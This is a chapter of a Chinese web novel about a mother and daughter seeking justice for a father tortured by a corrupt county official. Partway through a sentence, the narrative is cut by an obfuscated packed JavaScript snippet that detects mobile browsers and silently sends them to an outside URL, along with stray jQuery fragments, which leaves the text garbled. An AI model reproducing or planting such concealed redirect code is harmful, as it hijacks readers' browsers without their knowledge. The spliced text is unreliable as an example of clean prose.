何仁天见母女二人哀恸难安，府中还要日夜照料重伤垂危的沈敬之，自知久留无益，温声道：“嫂夫人、侄女不必多礼。日后但凡申冤奔走，有用得上我的地方，随时派人知会一声便可。” 说罢便拱手作揖，告辞离去。 沈沁姝不愿母亲劳心费神、奔波相送，随即开口道：“母亲身子虚弱，女儿陪同周管家，送世叔到家门口。” 沈沁姝送完客人回到院内，只见林婉清独自坐在石桌旁怔怔出神。 见女儿回来，她轻轻招手，示意沈沁姝在身旁坐下。 沈沁姝坐下，轻声问道：“父亲内里伤势，现下如何了？” 林婉清神色黯淡，眼底难掩悲痛，低声轻叹：“远比我们预想的，要凶险得多。鞭伤叠加盐水侵蚀，伤及筋骨皮肉，稍有不慎，后患无穷。” “无论如何，这份滔天屈辱与冤屈，我们必定要为你父亲讨回来。” 顿了片刻，林婉清又道：“当初你父亲被构陷下狱，我便第一时间修书传回林家，可时至今日，家书石沉大海，半分回音都没有。” 她身为林家庶女，当初婚配没落士族旁支，本就不被族中看重，婚后两家往来更是稀少。如今家门遭难，母家冷眼不理，心口终究酸涩难忍。 沈沁姝握住母亲微凉的手，温柔安抚：“娘不必心伤。寻常牢狱官司，在外人眼中不过官场纷争，林家世代望族，自然不愿轻易插手无关琐事。可如今事情已然不同，父 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17494614|202417||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 亲遭恶吏私刑残害，重伤垂危、命悬一线。他终究是林氏的女婿，旁人这般肆意折辱，伤的不仅仅是沈家的颜面，亦是林氏的体面。” 她顿了顿，又缓缓说道：“先前母亲寄信，定然不愿让外祖父外祖母忧心，刻意遮掩了实情，只说父亲短暂入狱，并无大碍。母亲信中措辞难免犹豫克制，外祖一家不知凶险万分，这才迟迟未有回音。” “想要为父讨回公道，单凭我们母女二人，力量终究微薄。外祖家世代望族，若是肯出面撑腰周旋，此案才有扭转之机。再者，父亲伤得这般惨重，生死难料这般实情，本就该如实告知外祖家中。” 林婉清闻言，细细思量，转瞬便听懂了女儿话中深意。 是自己先前顾着脸面、刻意轻描淡写，才白白耽误了时机。 她沉默片刻，轻轻点头，神色释然许多，低声道：“娘明白了。” 随后，林婉清便唤沈沁姝随自己回房，她要重新修书一封。 沈沁姝站在一旁为她研墨铺。 林婉清写完搁笔，将信递到沈沁姝面前，让她过目斟酌。 信中写到： “爹娘膝下安： 女儿嫁入沈家，素来安分守己，家中诸事皆不欲劳烦宗族。 近日家中横祸，夫君沈敬之无端被县衙恶吏构陷罗罪，身陷囹圄。 起初女儿不愿娘家忧心，只淡淡提及案情，未曾细说凶险。 不料狱中小吏胆大妄为，私施酷刑，鞭挞折磨，又以盐水泼洒伤口，致使夫君重伤垂危，皮肉溃烂，性命堪忧。 夫君虽出身寒族，终究是林家婿室。小小县尉竟敢肆意折辱，草菅人命，藐视林家门第，辱及宗族颜面。 此事绝非寻常官司，乃是外人公然挑衅林家声望。 女儿一介孤弱妇人，无力制衡官场奸邪，难以为夫伸冤雪枉。万般无奈，只得据实禀明家中，恳求父兄出面主持公道，保全沈家性命，亦护住林家体面。 纸短情长，泣书难言，伏祈爹娘垂怜做主。” 沈沁姝细细通读全篇，只觉言辞恳切真挚，情理周全妥帖，轻重分寸拿捏得恰到好处。 她心中暗暗点头，面上依旧温顺恭谨，轻声道：“母亲思虑周全，此事一切，但凭母亲做主便是。” 转眼两日匆匆而过。 沈敬之自狱中归家之后，便高热缠绵不退，终日昏沉卧于榻上。偶尔勉强睁眼清醒片刻，转眼便疲惫不堪再度昏睡，气息一日弱过一日。 林婉清日夜守在病榻之前，寸步不敢远离。 与此同时，沈沁姝取出先前用来赎父亲时留下的现银，事先与母亲细细商议妥当。 便每日借着外出寻访药材、为父治病为由出入府邸。她面上始终哀戚憔悴，神色悲恸，无人知晓她暗中四处走访乡邻，悄悄搜集赵子平强抢民女、欺压良民、滥用私刑、贪墨敛财的种种罪证。 往日沈家是民，就算知晓这些事情，也不便出面。但如今只要林氏肯出手相助，凭这些铁证，便足以扳倒赵子平。